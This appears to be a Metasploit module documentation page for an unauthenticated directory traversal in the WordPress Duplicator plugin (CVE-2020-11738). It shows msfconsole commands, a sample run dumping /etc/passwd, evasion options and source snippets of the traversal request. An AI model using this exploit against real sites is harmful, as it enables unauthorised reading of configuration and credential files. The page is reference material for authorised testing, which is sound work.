WordPress Duplicator File Read Vulnerability - Metasploit
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Module Overview
Name: WordPress Duplicator File Read Vulnerability
Module: auxiliary/scanner/http/wp_duplicator_file_read
Source code: modules/auxiliary/scanner/http/wp_duplicator_file_read.rb
Disclosure date: 2020-02-19
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-11738
This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'Duplicator' version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/wp_duplicator_file_read
msf auxiliary(wp_duplicator_file_read) > show options
... show and set options ...
msf auxiliary(wp_duplicator_file_read) > set RHOSTS ip-range
msf auxiliary(wp_duplicator_file_read) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wp_duplicator_file_read) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wp_duplicator_file_read) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wp_duplicator_file_read) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The issue is being actively exploited, and allows attackers to download arbitrary files, such as the wp-config.php
file.
This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin "Duplicator" version 1.3.24-1.3.26,
allowing arbitrary file read with the web server privileges.
Duplicator Changelog
Vulnerable version: duplicator.1.3.24.zip, duplicator.1.3.26.zip
Verification Steps
- Start
msfconsole
use auxiliary/scanner/http/wp_duplicator_file_read
- Set the
RHOSTS
- Set the
RPORT
- Run the exploit:
run
Scenarios
Ubuntu 20.04 running WordPress 5.6, Duplicator 1.3.26
msf5 > use auxiliary/scanner/http/wp_duplicator_file_read
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rport 8080
rport => 8080
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set FILEPATH /etc/passwd
FILEPATH => /etc/passwd
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set DEPTH 5
DEPTH => 5
msf5 auxiliary(scanner/http/wp_duplicator_file_read) > run
[*] Downloading file...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:110::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:111:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
lightdm:x:110:115:Light Display Manager:/var/lib/lightdm:/bin/false
cups-pk-helper:x:111:118:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:113:119::/nonexistent:/bin/false
kernoops:x:114:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:115:121::/var/lib/saned:/usr/sbin/nologin
pulse:x:116:122:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:117:124:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:118:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/var/run/hplip:/bin/false
debian-tor:x:120:126::/var/lib/tor:/bin/false
iodine:x:121:65534::/var/run/iodine:/usr/sbin/nologin
thpot:x:122:65534:Honeypot user,,,:/usr/share/thpot:/dev/null
postfix:x:123:128::/var/spool/postfix:/usr/sbin/nologin
nm-openvpn:x:124:130:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
nm-openconnect:x:127:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
geoclue:x:128:135::/var/lib/geoclue:/usr/sbin/nologin
nxpgsql:x:1001:1001:NeXpose PostgreSQL User:/opt/rapid7/nexpose/nsc/nxpgsql:/bin/sh
mysql:x:129:136:MySQL Server,,,:/nonexistent:/bin/falselsadm:x:999:999:lsadm:/:/sbin/nologin
jenkins:x:131:138:Jenkins,,,:/var/lib/jenkins:/bin/bash
libvirt-qemu:x:64055:139:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
libvirt-dnsmasq:x:132:142:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/usr/sbin/nologin
test:x:1002:1003:,,,:/home/test:/bin/bash
ftp:x:133:143:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
gdm:x:134:144:Gnome Display Manager:/var/lib/gdm3:/bin/fals
[+] File saved in: /root/.msf4/loot/20201211005722_default_13.250.118.98_duplicator.trave_383073.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the scanner/http/wp_duplicator_file_read auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/wp_duplicator_file_read
msf6 auxiliary(scanner/http/wp_duplicator_file_read) > show info
Name: WordPress Duplicator File Read Vulnerability
Module: auxiliary/scanner/http/wp_duplicator_file_read
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-02-19
Provided by:
Ramuel Gall
Hoa Nguyen - SunCSR Team
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits an unauthenticated directory traversal
vulnerability in WordPress plugin 'Duplicator' version
1.3.24-1.3.26, allowing arbitrary file read with the web server
privileges. This vulnerability was being actively exploited when it
was discovered.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-11738
https://wpscan.com/vulnerability/10078
https://snapcreek.com/duplicator/docs/changelog
Module Options
This is a complete list of options available in the scanner/http/wp_duplicator_file_read auxiliary module:
msf6 auxiliary(scanner/http/wp_duplicator_file_read) > show options
Module options (auxiliary/scanner/http/wp_duplicator_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/wp_duplicator_file_read auxiliary module:
msf6 auxiliary(scanner/http/wp_duplicator_file_read) > show advanced
Module advanced options (auxiliary/scanner/http/wp_duplicator_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/wp_duplicator_file_read module can do:
msf6 auxiliary(scanner/http/wp_duplicator_file_read) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/wp_duplicator_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/wp_duplicator_file_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
57: 'action' => 'duplicator_download',
58: 'file' => "#{traversal}#{filename}"
59: }
60: })
61:
62: fail_with Failure::Unreachable, 'Connection failed' unless res
63: fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' if res.code != 200
64: fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
65:
66: print_status('Downloading file...')
67: print_line("\n#{res.body}\n")
Connection failed. Nothing was downloaded
Here is a relevant code snippet related to the "Connection failed. Nothing was downloaded" error message:
58: 'file' => "#{traversal}#{filename}"
59: }
60: })
61:
62: fail_with Failure::Unreachable, 'Connection failed' unless res
63: fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' if res.code != 200
64: fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
65:
66: print_status('Downloading file...')
67: print_line("\n#{res.body}\n")
68:
Nothing was downloaded. Change the DEPTH parameter
Here is a relevant code snippet related to the "Nothing was downloaded. Change the DEPTH parameter" error message:
59: }
60: })
61:
62: fail_with Failure::Unreachable, 'Connection failed' unless res
63: fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' if res.code != 200
64: fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
65:
66: print_status('Downloading file...')
67: print_line("\n#{res.body}\n")
68:
69: fname = datastore['FILEPATH']
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Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/wproxy/att_open_proxy
- exploit/multi/php/wp_duplicator_code_inject
Authors
- Ramuel Gall
- Hoa Nguyen - SunCSR Team
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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